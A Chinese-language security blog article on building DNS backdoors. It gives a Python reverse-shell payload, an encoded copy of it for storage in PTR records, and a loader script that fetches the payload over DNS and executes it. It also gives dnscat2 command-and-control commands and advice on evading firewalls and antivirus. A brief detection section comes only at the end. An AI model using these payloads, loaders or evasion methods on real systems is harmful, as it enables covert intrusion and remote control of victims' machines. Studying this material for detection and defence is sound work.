DNS後門及其檢測
*本文作者:rotgrass,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。
前言
使用DNS隧道技術可以有效地進行資料交換,當然,也可以使用DNS隧道技術進行後門的製作。
0×00 背景
要理解DNS後門,首先要對DNS協議有所瞭解。DNS解析過程在此不多贅述,只提到一點:DNS解析中的PTR記錄,它與A記錄相反,是將IP地址解析為域名。如下圖,如果這時向這個DNS伺服器請求1.1.1.100的PTR記錄,反向解析到的域名就是test.com 。
需要了解的是PTR記錄的兩個特性:
1. 大小寫不敏感。在PTR記錄中,如果DNS伺服器上的主機名包含大寫,DNS解析的結果中會全部轉換為小寫。所以域名也並不區分大小寫。
2. 格式不定。一個正常的域名至少需要一個字尾(.com、.net),並且不可出現“-”以外的特殊符號。但是在寫PTR記錄時,可以選擇任意格式,也可以出現包括“!@#$%^&*()_+=/?<>”在內的各種特殊字元,甚至是空格,只有反斜槓“\”會被過濾。
不僅僅是PTR記錄,其他的例如TXT記錄、MX記錄等,都可以達到類似的效果,甚至存放的內容沒有字元和長度限制,只是配置方法略有不同。
0×01 初窺門徑
我們已經知道了DNS中的PTR記錄可以存放幾乎任何我們想要的東西,接下來的要說DNS後門的利用的設計思路。我們可以將payload放在PTR記錄中,做好IP和域名的對映。只要在被攻擊者主機上用DNS協議反向解析這個IP ,payload就會被接收。最重要的一點在於,大部分的防火牆、入侵檢測系統和態勢感知系統並不會審計DNS協議,所以這段流量幾乎是不會被攔截的;並且這段paylaod並不會被儲存在檔案中,而是存在記憶體裡,也可以繞過本地殺軟的查殺。
模擬一個場景,在DNS伺服器上建立數個PTR記錄,將一段payload拆分成三個部分,因為域名有長度限制,無法全部放入,並且拆分後可以有效避免被審查。再將1.1.1.1-1.1.1.3的IP分別對映這三段payload。
只要向這臺DNS伺服器請求反向解析這三個IP,就可以接收到這段payload。
下面來看一個例項,這有一個簡短的python彈shell指令碼:
import socket,subprocess,os s=socket.socket() s.connect(("",)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
使用VirusTotal進行檢測,順利通過了所有廠商的查殺。相比之下,相同功能的可執行檔案被查殺機率就高了很多。
在這裡我只擷取以下部分作為測試,連線的目標地址為攻擊者IP及埠號。
import socket s=socket.socket() s.connect(("x.x.x.x",xxxx))
接下來就是將這段payload放入DNS伺服器中的PTR記錄裡,為了方便起見,將其做base64編碼處理,因為編碼後的字元中存在大寫,前文提到過PTR解析結果中全部為小寫,所以將其再進行ASCII編碼,最終的結果為:
\u0061\u0057\u0031\u0077\u0062\u0033\u004a\u0030\u0049\u0048\u004e\u0076\u0059\u0032\u0074\u006c\u0064\u0043\u0078\u007a\u0064\u0048\u004a\u0031\u0059\u0033\u0051\u004b\u0063\u007a\u0031\u007a\u0062\u0032\u004e\u0072\u005a\u0058\u0051\u0075\u0063\u0032\u0039\u006a\u0061\u0032\u0056\u0030\u004b\u0044\u0049\u0073\u004d\u0053\u006b\u004b\u0063\u0079\u0035\u006a\u0062\u0032\u0035\u0075\u005a\u0057\u004e\u0030\u004b\u0043\u0067\u006e\u004d\u0054\u006b\u0079\u004c\u006a\u0045\u0032\u004f\u0043\u0034\u0078\u004d\u0044\u0045\u0075\u004d\u0054\u0049\u0035\u004a\u0079\u0077\u0035\u004f\u0054\u006b\u0035\u004b\u0053\u006b\u004b\u0043\u0067\u003d\u003d
在DNS伺服器上建立PTR記錄,將最終編碼後的payload拆分,並全部存入其中,建立IP和payload的反向解析。
最後只要在被攻擊者主機上請求這些IP的DNS反向解析,就可以獲取到完整的payload,我寫了一個簡單的python指令碼來完成這個操作。可以獲取到所有分段後的payload,進行組合、解碼並執行。192.168.101.144是DNS伺服器的地址。
import os payload='' ip=raw_input('please input payload ip range:') count=raw_input('please input count:') for i in range(1,int(count)+1): domain=ip+str(i) p=os.popen('nslookup -qt=ptr '+domain+' 192.168.101.144') res=p.read().split('\n') if res[0]=="\xb7\xfe\xce\xf1\xc6\xf7: UnKnown": del res[0] payload_raw=res[2].split(":")[1].strip() payload+=payload_raw payload=payload.replace('u','\u').decode('unicode_escape') payload='''python -c \"exec(\''''+ payload+ ''''.decode('base64'))"''' os.popen(payload)
在執行這段指令碼時,需要輸入IP的網段和數量。
IP網段格式為“x.x.x.”,這是在DNS伺服器上建立PTR協議的IP網段,數量是PTR記錄的數量,也就是payload被拆分後的個數。在這次測試中,網段為“1.1.1.”,數量是11。
指令碼會呼叫nslookup命令獲取PTR協議中的payload並解碼執行,在攻擊者主機上執行msf,監聽對應的埠,就可以收到一個彈回的shell。
用wireshark抓包檢視,傳遞payload的過程完全是通過DNS協議進行的。分段的payload被放在Domain Name欄位中,但是沒有反斜槓“\”,前文中提到過,反斜槓被過濾掉了。
也可以看到傳送連線的TCP資料包,目標地址正是攻擊者的IP。
問題也隨之而來,雖然在傳輸payload的過程中使用了DNS協議,可以規避大部分檢測,但是彈shell時使用了TCP協議建立連線,極容易被AF等防護裝置監測到,在被攻擊主機上使用TCPView等工具也可以很快就發現連線。
0×02 深入分析
既然使用TCP協議被檢測出的可能性很高,那麼使用無連線的UDP協議進行資訊互動的隱蔽性就強了很多,採用DNS協議就是一個很好的選擇。場景如下圖,攻擊者將命令通過DNS協議傳送至被攻擊者,被攻擊者主機上的後門程式接收到指令,執行相應的操作。某些操作需要進行響應,也可以通過DNS協議傳送。通過這種方式,可以很好的繞過安全防護裝置;如果不進行修改登錄檔等敏感操作,本地的殺軟也不會對其進行攔截,因為它僅僅傳送大量DNS解析請求而已。
不足之處在於傳輸檔案時速度較為緩慢,因為需要將資料寫入快取中再進行讀取,進行大量資料傳送時很吃力。而且由於UDP協議的不可靠性,特別在網路環境較差的情況下,響應的完整性會受到極大的影響。
dnscat2就是這樣一個使用DNS協議進行資料傳輸的C&C工具。採用了C/S架構,client端有Windows和Linux兩種版本,server端只能在Linux上執行。client位於被控主機,server位於控制端。
Windows系統的client端啟動命令如下,server處是控制端的IP。
dnscat2-v0.07-client-win32.exe --dns server=x.x.x.x
server端需要安裝ruby,啟動命令為:
ruby ./dnscat2.rb
成功連線後的效果如下
client端:
server端:
在server端的使用方法與msf類似,每個連線都是一個window,使用window -i命令可以進入對應的window,help命令列出了所有的功能
clear delay download echo exec help listen ping quit set shell shutdown suspend tunnels unset upload window windows
使用shell和sission命令,可以獲得cmd shell:
可以執行cmd命令:
對過程中的資料包進行抓取和分析。所有的資料均走DNS協議,每一條請求都有響應,資料中有明顯的特徵“dnscat”欄位;在解析記錄的選擇上有MX、TXT、和CHAME三種,混合使用;由於dnscat2預設加密資料,所以不能從資料包中看出命令執行的原始資料。
遺憾的是這個軟體會被大多數廠商標記為惡意軟體,如果你真的使用dnscat2當做後門來使用,馬上就會被殺軟和檢測出。所以dnscat2僅僅作為一個思路上的參考,使用自己編寫的指令碼是最好的選擇。
以上的利用是最簡單的直連,在複雜的真實環境下,需要根據情況的不同改變後門的工作模式,才能達到最好的效果。
0×03 檢測
關於DNS檢測有一些思路:
1. 在後門進行傳輸資料時會產生大量的流量互動,尤其對於DNS後門來說,會產生大量的DNS協議資料,並且這些域名有很鮮明的特徵。可以通過流量過濾對其進行檢測。
對DNS流量的大小進行檢測,在一定時間內有大量的DNS流量時,還要對資料的具體內容進行分析。有些未經過加密的資料中會有明顯的命令執行、或者其他資料傳輸,加密過的資料會出現域名長度大、域名不合法等特徵,根據這些特徵進行檢測。
2. 利用DNS的快取機制。主機在進行DNS 解析後,會將解析到的結果在快取中儲存一段時間,這段時間內如果有相同的解析需要,會直接從快取中讀取,而不向DNS伺服器進行解析請求。
利用DNS後門進行資料傳輸會產生大量的解析請求和響應,在一定時間內這些資料都會被記錄在DNS快取中。可以使用ipconfig /display讀取快取,對其中的異常資料進行篩選並過濾。
參考
dnscat: ofollow" rel="nofollow,noindex" target="_blank">https://github.com/iagox86/dnscat2
*本文作者:rotgrass,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。